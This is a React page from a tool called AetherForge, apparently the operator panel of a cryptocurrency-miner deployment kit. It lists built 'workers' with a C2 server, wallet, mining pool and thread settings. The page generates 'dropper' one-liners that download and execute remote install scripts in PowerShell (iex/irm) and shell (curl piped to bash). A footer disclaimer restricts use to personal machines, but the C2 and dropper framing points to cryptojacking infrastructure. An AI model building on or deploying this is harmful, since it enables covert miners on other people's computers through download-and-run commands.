Files
AetherForge/server/web/src/pages/BuildManagerPage.tsx
AetherForge 9232f4c448 feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
2026-05-30 22:38:48 -07:00

379 lines
13 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useCallback, useEffect, useRef, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord } from '../types';
import DownloadButton from '../components/DownloadButton';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import './BuildManagerPage.css';
// ─── helpers ─────────────────────────────────────────────────────────────────
function truncateWallet(w: string): string {
if (!w || w.length < 12) return w || '—';
return `${w.slice(0, 6)}${w.slice(-6)}`;
}
function truncateUrl(u: string): string {
try {
const parsed = new URL(u);
return parsed.host;
} catch {
return u.length > 30 ? u.slice(0, 28) + '…' : u;
}
}
function fmtSize(bytes: number): string {
if (!bytes) return '—';
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024).toFixed(0)} KB`;
}
function fmtDate(iso: string): string {
try {
const d = new Date(iso);
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
} catch {
return iso;
}
}
function platformLabel(p?: string): string {
if (!p) return 'Win';
const m: Record<string, string> = {
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
};
return m[p.toLowerCase()] ?? p;
}
function platformColor(p?: string): string {
if (!p) return 'var(--neon-cyan)';
const m: Record<string, string> = {
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
};
return m[p.toLowerCase()] ?? '#aaa';
}
function CopyButton({ text, label }: { text: string; label: string }) {
const [copied, setCopied] = useState(false);
const copy = () => {
navigator.clipboard.writeText(text).then(() => {
setCopied(true);
setTimeout(() => setCopied(false), 1800);
});
};
return (
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
{copied ? '✓ Copied' : label}
</button>
);
}
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else {
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
api.deleteBuild(buildId).finally(() => {
setBusy(false);
setConfirming(false);
onDeleted();
});
}
};
return (
<button
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={handleClick}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
</button>
);
}
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
if (pinned) {
await api.unpinAll();
} else {
await api.pinBuild(buildId);
}
onPinned();
} catch (e) {
console.error(e);
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
disabled={busy}
onClick={handleClick}
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
>
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
</button>
);
}
// ─── per-build card ───────────────────────────────────────────────────────────
function BuildCard({
build,
serverBase,
onReforge,
onDeleted,
onPinned,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
const isUniversal = build.platform?.toLowerCase() === 'universal';
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
const sh = `curl -sL ${serverBase}/install.sh | bash`;
return (
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
{/* ── Pinned banner ── */}
{build.pinned && (
<div className="bm-pinned-banner">
📌 ACTIVE DROPPER <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
</div>
)}
{/* ── Header row ── */}
<div className="bm-card-header">
<div className="bm-card-title">
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
<span
className="bm-platform-badge"
style={{ color: platformColor(build.platform) }}
>
{platformLabel(build.platform)}
</span>
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
</div>
<span className="bm-date">{fmtDate(build.created_at)}</span>
</div>
{/* ── Baked settings summary ── */}
<div className="bm-settings-grid">
<div className="bm-setting">
<span className="bm-setting-label">C2</span>
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Wallet</span>
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Pool</span>
<span className="bm-setting-value mono">
{build.pool_host || '—'}:{build.pool_port || '—'}
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Threads</span>
<span className="bm-setting-value">{build.threads || '—'}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Size</span>
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">File</span>
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
</div>
</div>
{/* ── Download methods ── */}
<div className="bm-downloads">
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
<div className="bm-downloads-row">
<DownloadButton
apiPath={api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-primary bm-dl-btn"
>
{isUniversal ? 'Universal ZIP' : exeName}
</DownloadButton>
<AuthDownloadButton
apiPath={api.buildUninstallUrl(build.id)}
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
className="btn btn-outline bm-dl-btn"
>
Uninstall script
</AuthDownloadButton>
</div>
</div>
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
<CopyButton text={ps1} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">*nix</span>
<code className="bm-dropper-cmd">{sh}</code>
<CopyButton text={sh} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">URL</span>
<code className="bm-dropper-cmd">{downloadUrl}</code>
<CopyButton text={downloadUrl} label="Copy" />
</div>
</div>
{/* ── QR + actions ── */}
<div className="bm-card-footer">
<div className="bm-qr-wrap">
<LanDownloadQR url={downloadUrl} />
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
onClick={() => onReforge(build)}
>
Re-forge
</button>
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
</div>
</div>
</NeonCard>
);
}
// ─── page ─────────────────────────────────────────────────────────────────────
export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState('');
const navigate = useNavigate();
const loadBuilds = useCallback(async () => {
try {
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
if (info) {
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
setServerBase(pub);
} else {
setServerBase(window.location.origin);
}
setError('');
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
} finally {
setLoading(false);
}
}, []);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
const handleReforge = useCallback((build: BuildRecord) => {
// Pass build id as query param so Forge page can pre-fill from it
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
}, [navigate]);
return (
<div className="page fade-in bm-page">
<div className="bm-header">
<div>
<h1 className="font-display bm-title">Build Manager</h1>
<p className="form-hint bm-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
</p>
</div>
<div className="bm-header-actions">
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
New Forge
</button>
</div>
</div>
{error && (
<div className="form-error" style={{ marginBottom: '1rem' }}>
<span></span> {error}
</div>
)}
{!loading && builds.length === 0 && !error && (
<NeonCard accent="cyan" className="bm-empty">
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
Go to Forge
</button>
</NeonCard>
)}
{loading && (
<div className="bm-loading">
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS</span>
</div>
)}
<div className="bm-grid">
{builds.map((build) => (
<BuildCard
key={build.id}
build={build}
serverBase={serverBase}
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
/>
))}
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}